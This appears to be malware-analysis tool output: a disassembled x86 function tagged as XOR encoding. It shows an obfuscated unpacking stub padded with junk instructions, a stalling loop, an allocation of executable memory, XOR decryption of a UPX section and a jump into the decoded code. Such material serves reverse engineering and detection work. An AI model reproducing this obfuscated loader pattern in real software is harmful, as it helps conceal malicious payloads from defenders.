Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x5e73a613
mov ecx, edx
add edx, ecx
add edx, edx
popal
sub edx, 0x98ff908b
add ecx, 0xf8bc0b55
not edx
mov ebx, 0
mov eax, esi
sub ecx, 0x6ccf1651
dec ecx
mov edx, eax
add edi, 0xc89cc56
sub edi, ecx
sub ecx, 0x7cbafcaf
mov esi, edx
sub edi, 0x9d2afc5c
not edi
inc ebx
sub edi, ecx
and ecx, ecx
not ecx
cmp ebx, 0x1006ff0
jne 0xa789cc
add ecx, ecx
mov ecx, edi
not ecx
add edx, 0x5b3faa4a
mov edi, 0xa78796
sub ebx, 1
or esi, esi
mov eax, 0xa7898a
add ebx, esi
sub esi, ebx
sub esi, 0x7b66fd7
mov ecx, dword [edi]
inc esi
and esi, edx
and ecx, 0xff
not edx
and ebx, ebx
sub edx, 1
xor dword [eax], ecx
dec ebx
add esi, edx
inc esi
inc eax
not edx
or esi, esi
inc edi
sub edx, 0xa3282fee
mov edx, 0x1c9ee587
mov edx, esi
cmp eax, entry0
jl 0xa78a2a
add edx, 0x12c0c38e
or esi, esi
and esi, ebx
mov ebx, 0x2294bb5a
mov ebx, esi
inc esi
not ebx
mov edi, 0xa7898e
and ebx, edx
and ecx, esi
sub ebx, esi
mov edi, dword [edi]
sub esi, 1
sub esi, edx
sub ecx, ebx
mov edi, dword [edi]
not ebx
mov ecx, 0xcceb2d76
sub ebx, 1
push edi
dec ebx
add esi, 1
add esi, ecx
mov edi, 0xa7898a
add esi, ecx
add edx, edx
add ecx, 0xefcf310a
mov edi, dword [edi]
or ebx, ebx
and ebx, ebx
sub ecx, 1
mov edi, dword [edi]
or esi, esi
and esi, edx
add ebx, esi
push 0xa78992
add ecx, 0xd21eb42a
mov edx, esi
call edi
sub edx, 0xb8830659
inc esi
sub ebx, ecx
mov edi, dword [esp]
add esp, 4
and ecx, ecx
not ebx
not esi
push 0xa7899f
mov edx, 0x22b2cf73
mov edx, 0xa5153c3f
sub esp, 4
mov dword [esp], eax
or ecx, esi
add ecx, esi
call edi
dec edx
add esi, ecx
and edx, edx
push 0x40
and esi, edx
mov esi, 0xfcce0f26
push 0x3000
not ecx
add ebx, ecx
push 0x200002c8
add ebx, 0x50376ebd
not ecx
add ecx, 0x21d859c8
push 0
not edx
and esi, edx
call eax
add esi, 0x3622c842
mov ecx, ebx
add ecx, 0xfbf467d3
add eax, 0x2000021e
not esi
mov ebx, edx
sub esi, 0x3d59c028
mov edi, 0xbbda52f7
dec ebx
add ebx, ebx
mov dword [eax], edi
add esi, 0xbe3beebc
mov ebx, ecx
mov edi, dword [eax]
mov edx, 0xdec5c257
mov ecx, ebx
cmp edi, 0xbbda52f7
je 0xa78b8a
mov ecx, 0
mov bl, byte [ecx]
dec ebx
inc ecx
mov ebx, 0xdbb5b3cc
sub ecx, 0x5abe200f
add ecx, 1
sub edx, ebx
mov edx, ecx
dec ecx
mov ebx, section.UPX1
or ecx, ecx
dec ecx
mov edi, 0xa78795
sub edx, ecx
mov edx, ecx
mov ecx, 0x6a2f0c1
mov esi, 0
add ecx, edx
dec ecx
or ecx, ecx
mov eax, 0xa78796
dec ecx
not edx
lea eax, [esi + eax]
add ecx, edx
not edx
sub edx, ecx
mov eax, dword [eax]
add edx, 0x439e54a4
add edx, 0x93aeb2ed
and ecx, ecx
and eax, 0xff
or ecx, ecx
add edx, ecx
inc esi
dec edx
sub ecx, edx
cmp esi, 0x1f4
jne 0xa78bfe
mov esi, 0
add edx, edx
sub edx, ecx
mov ecx, 0x2cc49e21
add edx, 0x5facf34d
mov ecx, 0x796e0ee8
sub edx, ecx
xor dword [ebx], eax
add edx, ecx
dec edx
add ebx, 2
sub ecx, 0x93ca0969
sub edx, 0xa4b886ea
cmp ebx, edi
jl 0xa78bc2
not edx
not ecx
mov ecx, edx
and ecx, ecx
mov edi, section.UPX1
add edx, 0x783e0757
mov edx, 0x417d2f18
or edx, edx
mov eax, section.UPX1
not esi
add edx, 0xb6416526
mov ecx, 0xa78795
add edx, 0xfdb8057e
sub edx, 0x8061ab79
add edx, edx
mov ebx, 0
mov edx, 0x3b42b116
add edx, edx
sub edx, 0x441d55ad
mov bl, byte [eax]
add esi, esi
mov edx, 0x112e8666
mov byte [edi], bl
and edx, esi
mov esi, 0x336f48a4
not edx
inc edi
or edx, edx
mov edx, esi
add eax, 2
not edx
sub edx, esi
cmp eax, ecx
jle 0xa78c7f
add esi, esi
add edx, esi
mov ecx, edx
inc edx
push 0x8dc6a0
mov edx, 0x61a95ef8
mov ecx, edx
mov ecx, edx
ret